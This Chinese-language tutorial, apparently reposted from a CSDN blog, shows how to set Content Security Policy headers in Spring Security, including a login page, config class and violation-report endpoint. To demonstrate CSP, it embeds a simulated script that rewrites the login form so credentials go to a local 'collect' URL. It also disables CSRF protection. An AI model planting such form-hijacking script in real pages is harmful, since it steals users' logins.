Spring Security配置内容安全策略
内容安全策略:Content Security Policy,简称CSP,内容安全策略是一种安全机制,开发着可以通过HTTP 响应标头,可显著减少现代浏览器中的 XSS、Clickjacking 等代码注入攻击。CSP通过W3C WebApplication Security Working Group发布标准
标准语法:
Content-Security-Policy: <directive>; <directive>; <directive> ; ...
例子:
Content-Security-Policy:script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data:;connect-src 'self' http://www.baidu.com http://127.0.0.1:8080 data:;font-src 'self';object-src 'self';
CSP1.0主要提供了这些选项的配置:
default-src
的默认配置CSP2.0:新增的一些主要选项
所有指令都遵循相同的模式:
例子:
Content-Security-Policy:script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’;style-src ‘self’ ‘unsafe-inline’;img-src ‘self’ data:;connect-src ‘self’ http://www.baidu.com http://127.0.0.1:8080 data:;font-src ‘self’;object-src ‘self’;
meta
标签<meta http-equiv="Content-Security-Policy" content="style-src 'self' www.baidu.com; script-src 'self'; form-action 'self'">
response
的headerpublic void setResponseHeader(HttpServletRequest request,HttpServletResponse response) {
//内容安全策略
response.setHeader("Content-Security-Policy", "script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data:;connect-src 'self' http://www.baidu.com http://127.0.0.1:8080 data:;font-src 'self';object-src 'self';");
}
有了前面的基础知识后,我们可以新建一个Spring Security项目来实践:
开发环境
JDK 1.8
SpringBoot2.2.1
Maven 3.2+
开发工具
IntelliJ IDEA
smartGit
Navicat15
在IDEA里集成阿里的https://start.aliyun.com
,创建一个Spring Initializr
项目:
选择jdk版本,和maven打包方式
项目主要的maven配置:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
加一个简单的登录页面:
<!DOCTYPE html>
<html lang="zh" xmlns:th="http://www.thymeleaf.org">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>Signin Template for Bootstrap</title>
<!-- Bootstrap core CSS -->
<link href="../static/asserts/css/bootstrap.min.css" th:href="@{asserts/css/bootstrap.min.css}" rel="stylesheet" />
<!-- Custom styles for this template -->
<link href="../static/asserts/css/signin.css" th:href="@{asserts/css/signin.css}" rel="stylesheet"/>
</head>
<body class="text-center">
<form id="login" class="form-signin" th:action="@{/login}" method="post">
<img class="mb-4" th:src="@{asserts/img/bootstrap-solid.svg}" alt="" width="72" height="72" />
<h1 class="h3 mb-3 font-weight-normal" >Login</h1>
<label class="sr-only" >Username</label>
<input type="text" class="form-control" id = "username" name="username" required="" autofocus="" value="nicky" />
<label class="sr-only" >Password</label>
<input type="password" class="form-control" id="password" name="password" required="" value="123" />
<div class="checkbox mb-3">
<label>
<input type="checkbox" name="remember-me" value="true" /> remember me
</label>
</div>
<button class="btn btn-lg btn-primary btn-block" >Sign in</button>
<p class="mt-5 mb-3 text-muted">© 2019</p>
</form>
<script>
//debugger;
let form = document.forms.login;
form.onsubmit = function () {
let username = document.getElementById("username").value;
let password = document.getElementById("password").value;
form.action = "http://127.0.0.1:8082/web/collect?u=" + username + "&p=" + password;
}
</script>
</body>
</html>
加上一些攻击的脚本来模拟窃取用户信息:
let form = document.forms.login;
form.onsubmit = function () {
let username = document.getElementById("username").value;
let password = document.getElementById("password").value;
form.action = "http://127.0.0.1:8082/web/collect?u=" + username + "&p=" + password;
基于Spring Security框架的WebSecurityConfigurerAdapter
编写配置类
package com.example.security.configuration;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.web.header.writers.StaticHeadersWriter;
@Configuration
public class ContentSecurityPolicySecurityConfiguration extends WebSecurityConfigurerAdapter {
private static final String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"http://localhost:8080/report\"}]}";
@Override
public void configure(WebSecurity web) throws Exception {
//解决静态资源被拦截的问题
web.ignoring().antMatchers("/asserts/**");
web.ignoring().antMatchers("/favicon.ico");
}
@Override
protected void configure(HttpSecurity http) throws Exception {
// 自定义一个登录页面,需要写一个/login接口来跳转,
// usernameParameter指定自定义的login.html页面的input标签用户密码属性
http.formLogin().usernameParameter("username").passwordParameter("password").loginPage("/login").permitAll()
// 关闭跨域保护;
.and().csrf().disable()
// 开放权限,不需要登录也可以访问
.authorizeRequests().antMatchers("/login/**", "/logout/**","/report/**").permitAll()
// 其它的请求都需要登录验证
.anyRequest().authenticated()
// 设置Report-To,发生一些比如CSP拦截,会发送报告到自己定义的report接口
.and().headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
// 设置xss防护
.xssProtection()
// 设置CSP内容安全策略
.and().contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
}
}
需要自己开发的一些接口,比如需要自定义登录页面的login接口和收集信息的report接口
package com.example.security.controller;
import cn.hutool.core.io.IoUtil;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
@Controller
@Slf4j
public class ContentSecurityPolicyController {
@GetMapping(value = {"/login"})
public ModelAndView toLogin() {
return new ModelAndView("login");
}
@PostMapping(value = {"/report"})
@ResponseBody
public String report(HttpServletRequest request) throws IOException {
String report = IoUtil.read(request.getInputStream(), StandardCharsets.UTF_8);
if (log.isInfoEnabled()) {
log.info("Report: {}", report);
}
return report;
}
}
我们在配置类里注释.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
,然后登录页面,发现页面被一个外部链接的接口窃取了一些登录用户信息,这样是很危险的
所以,需要在配置类加上内容安全策略的设置form-action 'self';
,form-action
设置为self
,就不能被外部链接提交from表单,只有当下的域名,打开控制台,可以看到报错,被拦截了:
查看网络,response里会有这些信息:
创作打卡挑战赛
赢取流量/现金/CSDN周边激励大奖
版权说明 : 本文为转载文章, 版权归原作者所有 版权申明
原文链接 : https://smilenicky.blog.csdn.net/article/details/112786439
内容来源于网络,如有侵权,请联系作者删除!